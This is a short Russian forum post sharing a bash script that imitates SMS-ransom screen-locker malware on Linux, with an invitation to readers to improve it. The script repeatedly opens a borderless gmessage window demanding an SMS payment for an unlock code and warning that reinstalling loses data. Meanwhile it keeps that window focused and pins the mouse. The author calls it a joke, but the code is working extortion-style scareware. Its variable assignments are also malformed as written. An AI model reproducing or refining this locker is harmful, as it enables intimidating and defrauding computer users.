По мотивам http://s004.radikal.ru/i205/1001/95/3cf8c5dac191.png (спасибо, Silvy).
#!/bin/bash
for prog in gmessage xdotool
do
which $prog &>/dev/null || exit 1
done
mousex = $(xdotool getmouselocation | grep -o 'x:[0-9]*' | sed 's/x://')
mousey = $(xdotool getmouselocation | grep -o 'y:[0-9]*' | sed 's/y://')
while true
do
gmessage -title linlock65527262144 -wrap -center -borderless -entry -buttons , 'Система заблокирована. Для разблокировки отправьте СМС с кодом на короткий номер и введите полученный код в поле ниже. Если это не помогает, попробуйте разобраться с проблемой самостоятельно или позовите знакомого гуру к компьютеру. Внимание! Переустановка системы может повлечь за собой потерю важных данных!'
done >/dev/null 2>&1 &
while true
do
xdotool windowfocus $(xdotool search -title linlock65527262144)
xdotool mousemove $mousex $mousey
done
Собственно, предлагаю это дело обсудить и улучшить.
P.S. Делается это исключительно в шутку, без намерения извлечь выгоду и т.п.